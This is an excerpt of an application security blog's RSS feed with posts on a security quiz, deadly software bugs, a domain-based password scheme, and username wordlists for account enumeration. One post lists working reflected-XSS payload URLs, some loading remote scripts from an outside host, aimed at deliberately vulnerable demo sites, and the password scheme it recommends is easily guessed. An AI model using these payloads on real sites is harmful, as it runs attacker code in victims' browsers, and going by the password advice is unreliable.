Because the PDF is never written to disk in option c, there is no chance an attacker can forcefully browse to it.&amp;nbsp; Option d is not secure because a user could tamper with the identifier to access another user&#39;s document.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;10. Answer: FALSE&lt;/b&gt;&lt;br /&gt;
Most web applications provide TWO methods of authentication.&amp;nbsp; One is username + password.&amp;nbsp; The other is some sort of Forgot Password mechanism, which is often created as an afterthought and less secure than it needs to be.&lt;br /&gt;
&lt;br /&gt;
SCORING&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;b&gt;Answers Correct&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;AppSec Ninja Level*&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;9-10&lt;/td&gt;&lt;td&gt;Kage&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;7-8&lt;/td&gt;&lt;td&gt;Jounin&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;5-6&lt;/td&gt;&lt;td&gt;Chuunin&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;3-4&lt;/td&gt;&lt;td&gt;Genin&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;0-1-2&lt;/td&gt;&lt;td&gt;Academy student&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;* Based on Naruto Rank&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/blockquote&gt;
</description><link>http://appsecnotes.blogspot.com/2014/03/a-basic-application-security-quiz.html</link><author>noreply@blogger.com (Dave Ferguson)</author></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2281490675396238353.post-6821024792766334976</guid><pubDate>Wed, 19 Feb 2014 23:29:00 +0000</pubDate><atom:updated>2014-02-19T17:29:34.500-06:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Industry</category><category domain="http://www.blogger.com/atom/ns#">Misc</category><title>Software Bugs That Kill</title><description>You might remember the rash of unintended acceleration incidents that occurred in Toyota vehicles a few years ago.&amp;nbsp; Perhaps the worst incident happened near me in Southlake, Texas where &lt;a href=&quot;http://www.wfaa.com/news/local/Probe-of-fatal-Toyota-crash-in-Southlake-inconclusive-82829872.html&quot;&gt;four people were killed&lt;/a&gt;.&amp;nbsp; I remember thinking at the time that these incidents had all the indicators of a software problem.&amp;nbsp; Well it turns out that is most likely the case.&amp;nbsp; Research from an embedded software expert as part of an Oklahoma trial indicates that &lt;a href=&quot;http://embeddedgurus.com/state-space/2014/02/are-we-shooting-ourselves-in-the-foot-with-stack-overflow/&quot;&gt;a stack overflow may be responsible&lt;/a&gt;.&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
The Toyota issue reminded me of &lt;a href=&quot;http://courses.cs.vt.edu/cs3604/lib/Therac_25/Therac_1.html&quot;&gt;the story of the Therac-25&lt;/a&gt;.&amp;nbsp; Every computer science student should be required to read it.&amp;nbsp; The Therac-25 was a medical linear accelerator that used electrons to create high-energy beams to destroy tumors in cancer patients.&amp;nbsp; Eleven of these devices were built and used in the 1980s. Software bugs in the Therac-25 caused massive overdoses of radiation that killed patients. &lt;br /&gt;
&lt;br /&gt;
Here are some quotes from the story.&amp;nbsp; It reads like a novel.&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
she felt a &quot;tremendous force of heat . . . this red-hot sensation.&quot; When
 the technician came in, the patient said, &quot;You burned me.&quot; The 
technician replied that that was not possible. &lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
She completely lost the use of her shoulder and her arm, and was in 
constant pain. She had suffered a serious radiation burn, but the 
manufacturer and operators of the machine refused to believe that it 
could have been caused by the Therac-25.&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
the patient said that he felt like he had received an electric shock or 
that someone had poured hot coffee on his back: He felt a thump and heat
 and heard a buzzing sound from the equipment. Since this was his ninth 
treatment, he knew that this was not normal. He began to get up from the
 treatment table to go for help. It was at this moment that the operator
 hit the &quot;P&quot; key to proceed with the treatment. The patient said that he
 felt like his arm was being shocked by electricity and that his hand 
was leaving his body.&lt;/blockquote&gt;
Software quality is really important.&amp;nbsp; The reality is that some bugs can lay hidden for a very long time because they surface only under a 
very rare set of circumstances.&amp;nbsp; A race condition (multiple 
threads competing for the same resource) is a good example of this.&amp;nbsp; Another example is the&lt;span class=&quot;userContent&quot;&gt; &lt;a href=&quot;http://www.darkreading.com/database/expect-a-surge-in-breaches-following-mys/240001958&quot;&gt;security flaw in MySQL&lt;/a&gt; that allowed a 1 in 256 chance of *any* password to work.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Fortunately, most developers don&#39;t write code that can cause direct bodily harm, but I think it&#39;s good to be familiar with these types of cases and hopefully avoid repeating history.</description><link>http://appsecnotes.blogspot.com/2014/02/software-bugs-that-kill.html</link><author>noreply@blogger.com (Dave Ferguson)</author></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2281490675396238353.post-7556391043565662919</guid><pubDate>Wed, 19 Feb 2014 05:26:00 +0000</pubDate><atom:updated>2014-02-18T23:27:25.992-06:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Hacking</category><category domain="http://www.blogger.com/atom/ns#">Misc</category><title>Where To Practice Your Web Hacking Skills</title><description>I was invited to contribute to the blog of application security company Checkmarx.&amp;nbsp; Last week &lt;a href=&quot;http://www.checkmarx.com/2014/02/13/keeping-up-with-the-hackers-how-to-practice-your-web-hacking-skills/&quot;&gt;my first post&lt;/a&gt; was published and covers some ways you can safely practice your web hacking skills. </description><link>http://appsecnotes.blogspot.com/2014/02/where-to-practice-your-web-hacking.html</link><author>noreply@blogger.com (Dave Ferguson)</author></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2281490675396238353.post-5257823730410707749</guid><pubDate>Wed, 08 Jan 2014 05:31:00 +0000</pubDate><atom:updated>2015-12-18T15:55:31.036-06:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Misc</category><category domain="http://www.blogger.com/atom/ns#">XSS</category><title>Alternatives to the Boring XSS Alert Box</title><description>Demonstrating that a web application is vulnerable to reflected cross-site scripting (XSS) is not very exciting.&amp;nbsp; It&#39;s always kind of like, &quot;oh hey, look here, an alert box popped up when you clicked on that link&quot;.&amp;nbsp; Scary.&amp;nbsp; Dramatic. Not!&amp;nbsp; I was looking for more interesting ways to show how XSS could be used.&amp;nbsp; I figure the code is more likely to get fixed if you can make a memorable impression.&amp;nbsp; I came up with a few options.&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
I&#39;ll present these techniques using 3 websites that are Internet facing and purposefully built to be susceptible to reflected XSS. &lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;http://demo.testfire.net/&quot;&gt;demo.testfire.net&lt;/a&gt; (operated by IBM)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.webscantest.com/&quot;&gt;www.webscantest.com&lt;/a&gt; (NT Objectives)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://testasp.vulnweb.com/&quot;&gt;testasp.vulnweb.com&lt;/a&gt; (Acunetix) &lt;/li&gt;
&lt;/ol&gt;
All of the URLs here were tested successfully with Firefox 26, IE 11 with the XSS Filter disabled, and Chrome 31 with the &quot;--disable-xss-auditor&quot; command line option.&amp;nbsp; &lt;u&gt;&lt;i&gt;Note - if you have the NoScript extension, you&#39;ll have to either disable it temporarily -or- allow scripts on the above domains plus sc0rn.com and disable the XSS protection.&lt;/i&gt;&lt;/u&gt; &lt;br /&gt;
&lt;br /&gt;
First, there is the boring alert box that I&#39;m trying to get away from:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://demo.testfire.net/search.aspx?txtSearch=%3Cscript%3Ealert(%27xss%27)%3C%2Fscript%3E&quot;&gt;http://demo.testfire.net/search.aspx?txtSearch=%3Cscript%3Ealert(&#39;xss&#39;)%3C%2Fscript%3E&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.webscantest.com/crosstraining/search.php?q=%22%3E%3Cscript%3Ealert(%27xss%27)%3C%2Fscript%3E%%3Cfont%20color%3D%22white&quot;&gt;http://www.webscantest.com/crosstraining/search.php?q=%22%3E%3Cscript%3Ealert(&#39;xss&#39;)%3C%2Fscript%3E%%3Cfont%20color%3D%22white&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://testasp.vulnweb.com/Search.asp?tfSearch=%3Cscript%3Ealert(%27xss%27)%3C%2Fscript%3E&quot;&gt;http://testasp.vulnweb.com/Search.asp?tfSearch=%3Cscript%3Ealert(&#39;xss&#39;)%3C%2Fscript%3E&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
Alternative #1 is to fill the victim&#39;s screen with unicorns and rainbows. &lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://demo.testfire.net/search.aspx?txtSearch=%3Cscript%20src=%22http://sc0rn.com/cfy.js%22%3E%3C%2Fscript%3E&quot;&gt;http://demo.testfire.net/search.aspx?txtSearch=%3Cscript%20src=%22http://sc0rn.com/cfy.js%22%3E%3C%2Fscript%3E &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.webscantest.com/crosstraining/search.php?q=%22%3E%3Cscript%20src=%22http://sc0rn.com/cfy.js%22%3E%3C%2Fscript%3E%3Cfont%20color%3d%22white&quot;&gt;http://www.webscantest.com/crosstraining/search.php?q=%22%3E%3Cscript%20src=%22http://sc0rn.com/cfy.js%22%3E%3C%2Fscript%3E%3Cfont%20color%3d%22white&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://testasp.vulnweb.com/Search.asp?tfSearch=%3Cscript%20src=%22http://sc0rn.com/cfy.js%22%3E%3C%2Fscript%3E&quot;&gt;http://testasp.vulnweb.com/Search.asp?tfSearch=%3Cscript%20src=%22http://sc0rn.com/cfy.js%22%3E%3C%2Fscript%3E&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
Alternative #2 is to Rickroll the victim (i.e., redirect to Rick Astley&#39;s famous 80&#39;s music video).&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://demo.testfire.net/search.aspx?txtSearch=%3Cscript%3Elocation.href=%22http://goo.gl/z4LTEG%22;%3C%2Fscript%3E&quot;&gt;http://demo.testfire.net/search.aspx?txtSearch=%3Cscript%3Elocation.href=%22http://goo.gl/z4LTEG%22;%3C%2Fscript%3E&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.webscantest.com/crosstraining/search.php?q=%22%3E%3Cscript%3Elocation.href=%22http://goo.gl/z4LTEG%22;%3C%2Fscript%3E%3Cfont%20color%3d%22white&quot;&gt;http://www.webscantest.com/crosstraining/search.php?q=%22%3E%3Cscript%3Elocation.href=%22http://goo.gl/z4LTEG%22;%3C%2Fscript%3E%3Cfont%20color%3d%22white&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://testasp.vulnweb.com/Search.asp?tfSearch==%3Cscript%3Elocation.href=%22http://goo.gl/z4LTEG%22;%3C%2Fscript%3E&quot;&gt;http://testasp.vulnweb.com/Search.asp?tfSearch==%3Cscript%3Elocation.href=%22http://goo.gl/z4LTEG%22;%3C%2Fscript%3E&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
Alternative #3 is to display some HTML... a funny news story in this case. (in Firefox w/NoScript you may have to click refresh for this to work)&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://demo.testfire.net/search.aspx?txtSearch=%3Cscript%20src=%22http://sc0rn.com/sc.js%22%3E%3C%2Fscript%3E&quot;&gt;http://demo.testfire.net/search.aspx?txtSearch=%3Cscript%20src=%22http://sc0rn.com/sc.js%22%3E%3C%2Fscript%3E&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.webscantest.com/crosstraining/search.php?q=%22%3E%3Cscript%20src=%22http://sc0rn.com/sc.js%22%3E%3C%2Fscript%3E%3Cfont%20color%3d%22white&quot;&gt;http://www.webscantest.com/crosstraining/search.php?q=%22%3E%3Cscript%20src=%22http://sc0rn.com/sc.js%22%3E%3C%2Fscript%3E%3Cfont%20color%3d%22white&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://testasp.vulnweb.com/Search.asp?tfSearch=%3Cscript%20src=%22http://sc0rn.com/sc.js%22%3E%3C%2Fscript%3E&quot;&gt;http://testasp.vulnweb.com/Search.asp?tfSearch=%3Cscript%20src=%22http://sc0rn.com/sc.js%22%3E%3C%2Fscript%3E&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
Feel free to use these or create your own.&amp;nbsp; I think you&#39;ll agree these are definitely better than popping an alert box. &lt;br /&gt;
&lt;br /&gt;
Lastly, I have a hilarious, but mildly racy (NSFW?) alternative. (in Firefox w/NoScript you may have to click refresh for this to work)&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://demo.testfire.net/search.aspx?txtSearch=%3Cscript%20src=%22http://sc0rn.com/nip.js%22%3E%3C%2Fscript%3E&quot;&gt;http://demo.testfire.net/search.aspx?txtSearch=%3Cscript%20src=%22http://sc0rn.com/nip.js%22%3E%3C%2Fscript%3E &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.webscantest.com/crosstraining/search.php?q=%22%3E%3Cscript%20src=%22http://sc0rn.com/nip.js%22%3E%3C%2Fscript%3E%3Cfont%20color%3d%22white&quot;&gt;http://www.webscantest.com/crosstraining/search.php?q=%22%3E%3Cscript%20src=%22http://sc0rn.com/nip.js%22%3E%3C%2Fscript%3E%3Cfont%20color%3d%22white&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://testasp.vulnweb.com/Search.asp?tfSearch=%3Cscript%20src=%22http://sc0rn.com/nip.js%22%3E%3C%2Fscript%3E&quot;&gt;http://testasp.vulnweb.com/Search.asp?tfSearch=%3Cscript%20src=%22http://sc0rn.com/nip.js%22%3E%3C%2Fscript%3E&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description><link>http://appsecnotes.blogspot.com/2014/01/alternatives-to-boring-xss-alert-box.html</link><author>noreply@blogger.com (Dave Ferguson)</author></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2281490675396238353.post-7948627838110311037</guid><pubDate>Sun, 22 Dec 2013 22:48:00 +0000</pubDate><atom:updated>2022-09-10T20:24:28.308-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Forgot Password</category><category domain="http://www.blogger.com/atom/ns#">Misc</category><title>How I Keep Track of My Passwords</title><description>We all know that you shouldn&#39;t re-use the same password on different websites, but this is extremely difficult in practice considering the number of sites people use today.&amp;nbsp; Password managers were developed to help solve the problem of remembering passwords.&amp;nbsp; Some examples are &lt;a href=&quot;http://keepass.info/&quot;&gt;KeePass&lt;/a&gt;, &lt;a href=&quot;http://sourceforge.net/projects/passwordsafe/&quot;&gt;Password Safe&lt;/a&gt;, and &lt;a href=&quot;https://lastpass.com/&quot;&gt;LastPass&lt;/a&gt;.&amp;nbsp; They work fine for many people.&amp;nbsp; However, I personally don&#39;t like the idea of depending on a password manager.&amp;nbsp; I want the ability to pull the correct password out of my brain in case I&#39;m ever in a situation where I don&#39;t have access to the password manager.&amp;nbsp; There&#39;s also a risk that your passwords could be compromised (this is true about any data that is stored, encrypted or not).&lt;br /&gt;
&lt;br /&gt;
I have over 100 different passwords, but I don&#39;t have any problem 
remembering them.&amp;nbsp; I don&#39;t write them down or use any sort of password 
manager.&amp;nbsp; I came up with a system that enables me to remember my passwords.&amp;nbsp; It works for me, so I&#39;m sharing
 the technique in case anyone else thinks it might be helpful.&lt;br /&gt;
&lt;br /&gt;
With my system, you only have to remember two things. &lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;A core password. &lt;/li&gt;
&lt;li&gt;Your scheme.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;
First, come up with a strong core password of about 8 or 9 characters.&amp;nbsp; This core piece should be random gibberish and needs to have a lowercase letter, an uppercase letter, a number, and a special character.&amp;nbsp; An example is &lt;b&gt;kM92ax4!&lt;/b&gt;. Whatever you decide upon, memorize it.&lt;br /&gt;
&lt;br /&gt;
Second, pick a scheme based on the website&#39;s domain name.&amp;nbsp; The scheme is used to supplement your core password.&amp;nbsp; As a simple example, your scheme could use the last 3 characters of the site&#39;s domain, add one letter to each (this is actually an encryption technique called &quot;ROT1&quot;), and append this to your core password.&amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;So for the site &quot;www.verizonwireless.com&quot;, we see the last 3 characters of the domain are &quot;ess&quot;.&amp;nbsp; Therefore the 3 additional characters would be &quot;ftt&quot; and your final password is &lt;b&gt;kM92ax4!ftt&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
For sprint.com, your final password is &lt;b&gt;kM92ax4!jou&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
For att.com, your final password is &lt;b&gt;kM92ax4!buu&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Come up with a any scheme you want as long as it&#39;s based on the website domain.&amp;nbsp; Here are some other possibilities: &lt;br /&gt;
&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Prepend the first character to your core password/append the last two&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Capitalize one or two of the letters &lt;/li&gt;
&lt;li&gt;Subtract two letters (&quot;ROT24&quot; encryption) instead of adding one&lt;/li&gt;
&lt;li&gt;Look at the first two chars + last char of the domain, instead of the last three&lt;/li&gt;
&lt;/ul&gt;
You get the idea. The scheme remains constant, but your password changes.&amp;nbsp; Whatever you decide, &lt;b&gt;&lt;i&gt;never tell anyone your core password or your scheme&lt;/i&gt;&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
My system isn&#39;t perfect.&amp;nbsp; It doesn&#39;t work on sites that have a short maximum password length (like 10) or onerous password requirements (like requiring you to change it every 90 days).&amp;nbsp; But overall it has worked great for me.&lt;br /&gt;</description><link>http://appsecnotes.blogspot.com/2013/12/how-i-keep-track-of-my-passwords.html</link><author>noreply@blogger.com (Dave Ferguson)</author></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2281490675396238353.post-7091906322855703180</guid><pubDate>Mon, 09 Dec 2013 03:35:00 +0000</pubDate><atom:updated>2014-11-20T23:12:52.154-06:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Hacking</category><category domain="http://www.blogger.com/atom/ns#">Tools</category><title>Wordlists for Common Usernames</title><description>I made some wordlists a while ago containing common usernames.&amp;nbsp; They have proven very useful to me when doing application penetration testing, specifically they are great to use as the payload for Burp Intruder.&lt;br /&gt;
&lt;br /&gt;
I created the lists by taking the 10,000 most common last names in the United States and prepending a single letter (for example &quot;dferguson&quot; appears in the usernames-d.txt wordlist).&amp;nbsp; There are wordlists for all letters except &quot;i&quot;, &quot;q&quot;, &quot;x&quot;, and &quot;z&quot; (frankly, there aren&#39;t many first names that begin with those letters so it&#39;s a waste of time to try them).&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&lt;a href=&quot;http://www.sc0rn.com/mi-sc/username-wordlists.zip&quot;&gt;Click here to get the username wordlists (zip)&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
One scenario where you might leverage these wordlists is a web application where the login page returns a different error message depending if a valid username is received versus and invalid username.&amp;nbsp; Run Intruder on the login request and you can probably reap a nice set of valid accounts.&lt;br /&gt;
&lt;br /&gt;
You&#39;ll also find a special wordlist called usernames-top100-each-letter.txt.&amp;nbsp; This is perfect when you have limited time and want to maximize your potential to find a valid account.&amp;nbsp; And there&#39;s another list called usernames-generic.txt, which could help you discover some test accounts.&amp;nbsp; Of course you can combine these wordlists any way you want (even concatenate them together and try the whole darn thing).&lt;br /&gt;
&lt;br /&gt;
Things get a little more complex if the web app requires an email address for login.&amp;nbsp; You could certainly append &quot;@gmail.com&quot;, &quot;@yahoo.com&quot;, &quot;@aol.com&quot;, etc. to the usernames.&amp;nbsp; Separate wordlists could be created for each email domain, or you could just leverage the power of Burp Intruder to append the domain on the fly.</description><link>http://appsecnotes.blogspot.com/2013/12/wordlist-common-usernames.html</link><author>noreply@blogger.com (Dave Ferguson)</author></item></channel></rss>